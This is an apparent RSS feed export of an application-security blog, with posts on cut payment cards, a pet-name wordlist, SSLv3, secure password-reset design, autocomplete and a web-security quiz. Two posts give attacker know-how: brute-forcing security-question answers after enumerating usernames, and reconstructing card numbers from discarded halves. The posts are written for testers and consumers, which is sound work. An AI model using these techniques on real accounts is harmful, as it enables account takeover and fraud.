  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Table Normal&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;
 mso-para-margin:0in;
 mso-para-margin-bottom:.0001pt;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;}
&lt;/style&gt;
&lt;![endif]--&gt;

</description><link>http://appsecnotes.blogspot.com/2015/05/bug-in-webex-productivity-tools-exposed.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6JlE0Icpv-JcCqxZFqT8J1YTkedkLG5w7UV3Bo-QYPRvPmPo_r9Lny5Fhl6ea9yr8flNJ9jXcXMiUU1hMrjcp8fx8xghyphenhyphenXwAd0xkvgQ3f-fKeLDz4Qn7LBknUt0LpeEL4AvIbl0311lbp/s72-c/leaderpin.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4232281846087640620</guid><pubDate>Sun, 07 Dec 2014 22:59:00 +0000</pubDate><atom:updated>2014-12-08T11:44:25.098-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>I Cut My Payment Card in Half and What I Found Surprised Me</title><description>Recently I received an American Express card from Citibank to replace my expiring one.&amp;nbsp; Naturally, I cut the old card in half.&amp;nbsp; My customary procedure is then to discard one of the pieces in a trash receptacle at my house and the other piece in a different trash receptacle.&amp;nbsp; I figure this will keep me pretty safe from &lt;a href=&quot;http://www.lifelock.com/education/children-family-home/dumpster-diving/&quot;&gt;dumpster-diving fraudsters&lt;/a&gt; because the trash receptacles are typically emptied at different times and go into different plastic trash bags.&lt;br /&gt;
&lt;br /&gt;
This time I decided to examine the pieces of my card.&amp;nbsp; What I found was that having only the right-side piece would allow someone to reconstitute the full 15-digit account number! Given where I cut the card, which was pretty much right down the middle, the front showed the last 7 digits and the back showed 
the first 8 digits.&amp;nbsp; See the photos below (numbers masked for the protection of me).&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiajnbCt8tSAC5-9-J-rvOf0H7NupCAGNpg2IrgMC-dP70k_skIQg6fVQ6HLzgQQKY1xKIV7gtWQlr0uABYuK-NKtx0TAuzlADjdDExGJTSiuUeI9qwLgMr4iQi0vFtpnVNRk46-ILRPMHv/s1600/cut_amex_front.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiajnbCt8tSAC5-9-J-rvOf0H7NupCAGNpg2IrgMC-dP70k_skIQg6fVQ6HLzgQQKY1xKIV7gtWQlr0uABYuK-NKtx0TAuzlADjdDExGJTSiuUeI9qwLgMr4iQi0vFtpnVNRk46-ILRPMHv/s1600/cut_amex_front.jpg&quot; height=&quot;307&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFnhn0oUP_3ndEHf3brU3Oq07Er7DSrU4k06TMbu0vysb7dZ2aIS0qKEPt6oqVHXWkMlBOFY6dOhX_qnbDjCCcjwyPPUsLRW4zz-IOs6TKBkE6fskpIBAZKTXp9-344tlX1Tk6lbk2NhEM/s1600/cut_amex_back.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFnhn0oUP_3ndEHf3brU3Oq07Er7DSrU4k06TMbu0vysb7dZ2aIS0qKEPt6oqVHXWkMlBOFY6dOhX_qnbDjCCcjwyPPUsLRW4zz-IOs6TKBkE6fskpIBAZKTXp9-344tlX1Tk6lbk2NhEM/s1600/cut_amex_back.jpg&quot; height=&quot;290&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
What&#39;s more, the 4-digit security code appeared on the front 
side and my full signature was visible on the back (also masked for my protection).&amp;nbsp; At least the security code was different on my new card, so once activated, using the old code should cause a payment authorization failure.&amp;nbsp; Still, many e-commerce sites do not require the security code when making a purchase.&lt;br /&gt;
&lt;br /&gt;
So with just half of my old card, the expiration date is the only unknown to a dumpster diver.&amp;nbsp; That is not a big obstacle to overcome at all.&amp;nbsp; Logically, if someone throws away a payment card, the probable reason is that he/she received a new card to replace the expiring one.&amp;nbsp; What would be the expiration date of the new card?&amp;nbsp; It&#39;s very likely to be either two years or four years from now - either the current month or the subsequent month.&lt;br /&gt;
&lt;br /&gt;
This reminds me of the story of the &lt;a href=&quot;http://www.cockeyed.com/citizen/creditcard/application.shtml&quot;&gt;torn-up credit card application&lt;/a&gt; that I read about a few years ago.&amp;nbsp; A man named Rob Cockerham taped the pieces back together, filled out the application, and sent it in.&amp;nbsp; Amazingly, a shiny new card arrived in the mail for him a few weeks later.&lt;br /&gt;
&lt;br /&gt;
The bottom line is: Be aware that if you cut up your debit cards or credit cards and throw the pieces away in different receptacles like me, you&#39;re not necessarily safe from dumpster diving.&lt;br /&gt;
&lt;br /&gt;
I&#39;m asking for a shredder for Christmas.&lt;br /&gt;
&lt;br /&gt;</description><link>http://appsecnotes.blogspot.com/2014/12/i-cut-my-payment-card-in-half-what-i.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiajnbCt8tSAC5-9-J-rvOf0H7NupCAGNpg2IrgMC-dP70k_skIQg6fVQ6HLzgQQKY1xKIV7gtWQlr0uABYuK-NKtx0TAuzlADjdDExGJTSiuUeI9qwLgMr4iQi0vFtpnVNRk46-ILRPMHv/s72-c/cut_amex_front.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-6808813325511928596</guid><pubDate>Fri, 21 Nov 2014 05:12:00 +0000</pubDate><atom:updated>2014-11-23T23:15:10.150-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Forgot Password</category><category domain="http://www.blogger.com/atom/ns#">Hacking</category><category domain="http://www.blogger.com/atom/ns#">Tools</category><title>Wordlist for Common Pet Names</title><description>If you are testing web applications for security, be sure to examine the Forgot Password functionality and attempt to subvert it.&amp;nbsp; It&#39;s another way that users can authenticate to the app and is often less secure than the primary method.&amp;nbsp; First you&#39;ll need to enumerate usernames (try the &lt;a href=&quot;http://appsecnotes.blogspot.com/2013/12/wordlist-common-usernames.html&quot;&gt;username wordlists&lt;/a&gt; I made available a while ago).&amp;nbsp; Once you have some valid usernames, the Forgot Password functionality will often present you with a challenge to answer one of the user&#39;s personal security questions. &lt;br /&gt;
&lt;br /&gt;
One of the most common security questions you see is &quot;What was the name of your first pet?&quot;.&amp;nbsp; If the application doesn&#39;t limit the number of attempts, you have a very good chance at answering this question by iterating through different names with a tool like &lt;a href=&quot;http://portswigger.net/burp/intruder.html&quot;&gt;Burp Intruder&lt;/a&gt;.&amp;nbsp; The last time I did this successfully, &quot;Rocky&quot; was the name of the user&#39;s pet.&lt;br /&gt;
&lt;br /&gt;
You need big list of common pet names to do this.&amp;nbsp; That&#39;s exactly what I&#39;m providing here for your download pleasure.&amp;nbsp; My wordlist currently has over 1,400 pet names.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://www.sc0rn.com/mi-sc/petname-wordlist.zip&quot;&gt;Click here to get the pet name wordlist&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Enjoy!&amp;nbsp; Obviously my list can&#39;t cover every conceivable pet name, but please let me know if you think I&#39;m missing a common one.</description><link>http://appsecnotes.blogspot.com/2014/11/wordlist-for-common-pet-names.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-2069763442734337710</guid><pubDate>Thu, 30 Oct 2014 20:32:00 +0000</pubDate><atom:updated>2014-11-20T23:13:31.267-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Disabling SSLv3 in Firefox</title><description>With the recent discovery of the &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2014/10/15/ssl-3-is-dead-killed-by-the-poodle-attack&quot;&gt;POODLE vulnerability&lt;/a&gt; in the SSLv3 protocol, I wanted to change my Firefox configuration to disallow SSLv3.&amp;nbsp; Mozilla released an extension for this called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ssl-version-control/&quot;&gt;SSL Version Control&lt;/a&gt;, but I decided not to install it given its somewhat sketchy reviews.&lt;br /&gt;
&lt;br /&gt;
No problem I thought.&amp;nbsp; Time to open the advanced configuration in Firefox by entering &quot;about:config&quot; in the address bar and make the change there.&amp;nbsp; Searching for &quot;security&quot;, will show many configuration settings that start with &quot;security.ssl3&quot;.&amp;nbsp; Some of them will be set to true and some to false.&amp;nbsp; You would think setting all the values to &quot;false&quot; here would be the solution.&amp;nbsp; Nope!&amp;nbsp; Don&#39;t do it.&amp;nbsp; Although the settings have &quot;ssl3&quot; in their name, they actually apply to &lt;i&gt;both &lt;/i&gt;SSLv3 and all three TLS versions (1.0, 1.1, and 1.2).&amp;nbsp; If you change them all to false, both SSLv3 and TLS will be disabled and your browser will be incapable of communicating securely at all.&lt;br /&gt;
&lt;br /&gt;
The correct solution, &lt;a href=&quot;https://blog.mozilla.org/security/2014/10/14/the-poodle-attack-and-the-end-of-ssl-3-0/comment-page-1/#comment-111695&quot;&gt;as described here&lt;/a&gt;, is easier.&amp;nbsp; Just set &quot;security.tls.version.min&quot; to 1, which means that TLS v1.0 is the minimum allowed version.&amp;nbsp; When set to 0, it means that SSLv3 is allowed.&amp;nbsp; I hope that helps.&lt;br /&gt;
&lt;br /&gt;
This is a temporary work-around anyway as Mozilla says that SSLv3 will be disabled by default &lt;a href=&quot;http://threatpost.com/browser-vendors-move-to-disable-sslv3-in-wake-of-poodle-attack/108852&quot;&gt;starting with Firefox 34&lt;/a&gt;.</description><link>http://appsecnotes.blogspot.com/2014/10/disabling-sslv3-in-firefox.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4584025752490444851</guid><pubDate>Fri, 01 Aug 2014 00:15:00 +0000</pubDate><atom:updated>2014-07-31T19:15:04.744-05:00</atom:updated><title>Building Secure Applications: How Mature Are You?</title><description>I was invited again to contribute to the blog of application security company Checkmarx.&amp;nbsp; My &lt;a href=&quot;http://www.checkmarx.com/2014/07/29/building-secure-applications-maturity-models/&quot;&gt;second post&lt;/a&gt; was published a couple of days ago and covers software security and the Building Security In Maturity Model (BSIMM).</description><link>http://appsecnotes.blogspot.com/2014/07/building-secure-applications-how-mature.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4781979217452973019</guid><pubDate>Sat, 26 Apr 2014 03:31:00 +0000</pubDate><atom:updated>2014-05-05T10:37:56.833-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Forgot Password</category><title>Implementing Forgot Password with Email</title><description>It turns out that application developers sometimes need to implement a
 forgot password feature but don&#39;t have much identity data about the 
users in the system.&amp;nbsp; Neither can they always be so flexible as to 
require users to establish personal security questions.&amp;nbsp; These things 
are a key part of my &lt;a href=&quot;http://appsecnotes.blogspot.com/2010/09/latest-forgot-password-best-practices.html&quot;&gt;forgot password security recommendations&lt;/a&gt;.&amp;nbsp;
 But the reality is that sometimes you don&#39;t have any information about a
 user except their username and email address.&amp;nbsp; Heck, sometimes email 
address IS the username.&lt;br /&gt;
&lt;br /&gt;
In this type of situation, implementing a secure forgot password feature
 is challenging.&amp;nbsp; Sending a password reset link via email is probably 
the best option (barring a non-automated solution where users call 
customer support).&amp;nbsp; So here I will offer up some specific ideas on how 
to secure the process when using email.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;When a user invokes the forgot password process, don&#39;t say anything 
about whether the username entered was recognized or not.&amp;nbsp; It should 
simply display a generic message such as: &lt;i&gt;&quot;Thank you. If the username you provided is valid, we will 
send you an email with instructions on how to reset your password&quot;&lt;/i&gt;.&lt;/li&gt;
&lt;li&gt;Along with the above, don&#39;t show the email address where the email 
was sent.&amp;nbsp; It might give legitimate users a warm, fuzzy feeling 
but it definitely helps attackers in a number of scenarios.&lt;/li&gt;
&lt;li&gt;The password reset link in the email message should incorporate a &lt;a href=&quot;http://en.wikipedia.org/wiki/Guid&quot;&gt;GUID&lt;/a&gt;
 or similar high-entropy token. The token could be a parameter in the 
query string or part of the URL path itself.&amp;nbsp; It doesn&#39;t really matter.&lt;/li&gt;
&lt;li&gt;Allow only one valid token per user at any given time. &lt;/li&gt;
&lt;li&gt;Make sure the email message does not include the username.&lt;/li&gt;
&lt;li&gt;Make sure the link can be used only once.&amp;nbsp; In other words, 
invalidate the token immediately when an HTTP request containing that 
token is received.&lt;/li&gt;
&lt;li&gt;The link should expire.&amp;nbsp; Depending on your situation, implement logic to invalidate the token 10, 20, or 30 minutes after the email is sent out.&amp;nbsp; Make it a configurable value so it can be adjusted if needed without a code change. &lt;/li&gt;
&lt;li&gt;The password reset page (the one that appears after clicking the link) should force the user to re-enter his username. &lt;/li&gt;
&lt;li&gt;If the username entered is incorrect 3 times in a row, lock the account.&amp;nbsp; Remember, your application knows which username is associated with the 
token.&amp;nbsp; The person attempting to reset the password should know it as 
well.&lt;/li&gt;
&lt;li&gt;
After a successful password reset, send a confirmation email to the user
to notify them it happened.&amp;nbsp; This can alert users to fraud if they
 didn&#39;t initiate it.&lt;/li&gt;
&lt;li&gt;Throughout each step of the process, make sure the application is 
logging everything that occurs so there&#39;s a solid audit trail in case 
something goes haywire.&lt;/li&gt;
&lt;/ol&gt;
So those are the mitigating controls I came up with.&amp;nbsp; Feel free to let me know in the comments if you have any other ideas!&lt;br /&gt;
&lt;br /&gt;
(updated on May 5, 2014 based on some feedback I received) </description><link>http://appsecnotes.blogspot.com/2014/04/implementing-forgot-password-with-email.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7821849648003478947</guid><pubDate>Wed, 16 Apr 2014 18:07:00 +0000</pubDate><atom:updated>2014-04-21T08:35:47.196-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Autocomplete=&quot;off&quot; Now in Disfavor</title><description>In case you missed it, both IE 11 and Chrome recently made a change and they now ignore autocomplete=&quot;off&quot; on password input fields within HTML pages.&amp;nbsp; This attribute is something I&#39;ve always recommended for input fields that contain sensitive data so that browsers won&#39;t store the data locally where it could be compromised.&amp;nbsp; Apparently the changes were made solely because lots of people are using password managers.&amp;nbsp; Here&#39;s a snippet from &lt;a href=&quot;http://blogs.msdn.com/b/ieinternals/archive/2009/09/10/troubleshooting-stored-login-problems-in-ie.aspx&quot;&gt;a messy MSDN blog post&lt;/a&gt; that tries to explain the reason for changing IE:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
Password Managers improve real-world security, and the IE team felt it was important to &lt;b&gt;put users in control&lt;/b&gt;. Users rely on their password manager to permit them to comfortably use 
strong passwords. Password managers encourage strong, unique password 
creation per site, but&amp;nbsp;unique, strong passwords are often&amp;nbsp;difficult to 
remember and type on touch devices.&amp;nbsp;If the browser doesn&#39;t offer to 
autocomplete a password, the user assumes that the browser is broken. The user will&amp;nbsp;then either use another browser that ignores the 
attribute, or install a password manager plugin that ignores it. &lt;/blockquote&gt;
I&#39;m not sure I agree.&amp;nbsp; Moving to another browser would not have worked since they all honored the attribute until recently.&amp;nbsp; It is also stated plainly that users could use a password manager plugin to overcome the restriction.&lt;br /&gt;
&lt;br /&gt;
And here&#39;s a snippet from &lt;a href=&quot;http://lists.w3.org/Archives/Public/public-webapps/2013OctDec/1002.html&quot;&gt;a message posted by the Chrome team&lt;/a&gt; with their reasoning:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
We believe that the current respect for autocomplete=&#39;off&#39; for passwords is, in fact, harming the security of users by making browser password managers significantly less useful than they should be, thus discouraging their adoption, making it difficult for users to generate, store, and use more complex or (preferably) random passwords. &lt;/blockquote&gt;
Maybe I don&#39;t understand the decisions because I don&#39;t use a password manager.&amp;nbsp; Either way, it is good that all browsers continue to honor autocomplete=&quot;off&quot; for non-password inputs (type=&quot;text&quot;) so that sensitive data such as credit card numbers can be protected.</description><link>http://appsecnotes.blogspot.com/2014/04/autocompleteoff-now-in-disfavor.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4172759329490033651</guid><pubDate>Sun, 09 Mar 2014 23:25:00 +0000</pubDate><atom:updated>2014-04-26T14:11:40.278-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><category domain="http://www.blogger.com/atom/ns#">Secure Design</category><title>A Basic Application Security Quiz</title><description>Do you know web application security?&amp;nbsp; Here is a little 10-question quiz to find out.&amp;nbsp; I&#39;ve interviewed quite a few people for AppSec jobs in the past and asked these type of questions.&amp;nbsp; I thought it would be fun to share.&amp;nbsp; Answers are at the bottom along with your ninja score. Don&#39;t cheat by googling for answers! &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;1. &lt;/b&gt;As a web application user, what puts you at most risk to fall victim to a cross-site request forgery (CSRF) attack?&lt;br /&gt;
a) Using an old browser&lt;br /&gt;
b) Using a web app that is not fully protected by SSL/TLS&lt;br /&gt;
c) Using the &quot;keep me logged in&quot; option offered by web apps&lt;br /&gt;
d) Using weak passwords&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;2. &lt;/b&gt;TRUE or FALSE? All web applications are vulnerable to CSRF attacks unless there&#39;s a specific protection mechanism in place. &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;3. &lt;/b&gt; TRUE or FALSE? An attacker could use a cross-site scripting (XSS) flaw on a banking site to steal login credentials while the victim appears to remain on the legitimate banking site. &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;4.&lt;/b&gt; If you want your web application to defend itself against cross-site scripting attacks that steal session IDs, which cookie attribute is best able to help you?&lt;br /&gt;
a) Secure&lt;br /&gt;
b) Path&lt;br /&gt;
c) Expires&lt;br /&gt;
d) HttpOnly&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;5.&lt;/b&gt; TRUE or FALSE? The best way to eliminate SQL injection vulnerabilities in code is to validate input data. &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;6.&lt;/b&gt;  TRUE or FALSE? Using POST requests with hidden form fields provides a significant level of protection against attackers who want to tamper with requests. &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;7.&lt;/b&gt; What is one way developers can defend against forced browsing attacks?&lt;br /&gt;
a) Incorporate GUIDs into file names&lt;br /&gt;
b) Log all user activity&lt;br /&gt;
c) Validate input data&lt;br /&gt;
d) Use a sensible directory naming scheme&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;8.&lt;/b&gt; A race condition in a web application can lead to a security hole.&amp;nbsp; Which software analysis technique is best suited to identify the existence of a race condition?&lt;br /&gt;
a) A manual penetration test&lt;br /&gt;
b) A dynamic (blackbox) automated scan&lt;br /&gt;
c) A static (whitebox) scan&lt;br /&gt;
d) Functional tests by QA team&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;b&gt;9.&lt;/b&gt; Your web application allows users to download their account statements in PDF format. What is the most secure way to implement this functionality? &lt;br /&gt;
a) Store all PDFs in an obscure directory on the web server and provide a link to the correct PDF depending on the user.&lt;br /&gt;
b) Generate the PDF on the fly, write it to a temporary directory on the server, and redirect the browser to that location (via 302 response).&lt;br /&gt;
c) Generate the PDF on the fly, store it in memory on the server, and send the bytes of the PDF to the browser directly (via 200 response).&lt;br /&gt;
d) Store the PDFs in a database and retrieve the correct PDF by looking at the identifier/primary key provided in the HTTP request.&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;10.&lt;/b&gt;  TRUE or FALSE? Most web applications provide only one method of authentication, namely username + password.&amp;nbsp; &lt;/blockquote&gt;
&lt;br /&gt;
ANSWERS&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Answer: c&lt;/b&gt;&lt;br /&gt;
With the &quot;keep me logged in&quot; option, a persistent cookie is set causing you to be in a permanently-authenticated state. A key factor in a successful CSRF attack is that the victim is authenticated to the target site.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Answer: FALSE&lt;/b&gt;&lt;br /&gt;
Read-only web apps (no actions can be taken by a user) are not subject to CSRF attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. Answer: TRUE&lt;/b&gt;&lt;br /&gt;
With XSS, a login form having an action attribute that points to the attacker&#39;s site could be created via JavaScript on the legitimate site.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. Answer: d&lt;/b&gt;&lt;br /&gt;
The HttpOnly attribute of a cookie instructs web browsers that JavaScript is not allowed to access the cookie.&amp;nbsp; This means that malicious JavaScript injected in an XSS attack can&#39;t access the cookie.&amp;nbsp; (HttpOnly is widely supported by web browsers)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5. Answer: FALSE&lt;/b&gt;&lt;br /&gt;
Using parameterized queries with data binding is the best way.&amp;nbsp; That said, input data validation should always be done.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6. Answer: FALSE&lt;/b&gt;&lt;br /&gt;
Many free tools are available that make it easy for anyone to edit HTTP requests prior to being sent to the server.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;7. Answer: a&lt;/b&gt;&lt;br /&gt;
Using &lt;a href=&quot;http://en.wikipedia.org/wiki/Guid&quot;&gt;GUIDs&lt;/a&gt; (globally unique identifiers) makes it near impossible for a user to guess valid file names.&amp;nbsp; A problem I&#39;ve seen frequently when doing pen tests is that the application names static files such as PDF or Excel documents in a logical, consistent manner.&amp;nbsp; For example, a file name might include the user&#39;s name or account number.&amp;nbsp; This could make it easy for one user to guess the name of other files and access information intended for other users. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8. Answer: c&lt;/b&gt;&lt;br /&gt;
Static analysis theoretically has full insight into the whole codebase and should be able to spot a situation where multiple threads compete for the same resource.&amp;nbsp; With dynamic/run-time testing, it can&#39;t be guaranteed the race condition will ever manifest itself.&amp;nbsp; If you&#39;ve ever tried to reproduce a deadlock problem in a piece of software, you know how very difficult it can be. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;9. Answer: c&lt;/b&gt;&lt;br /&gt;
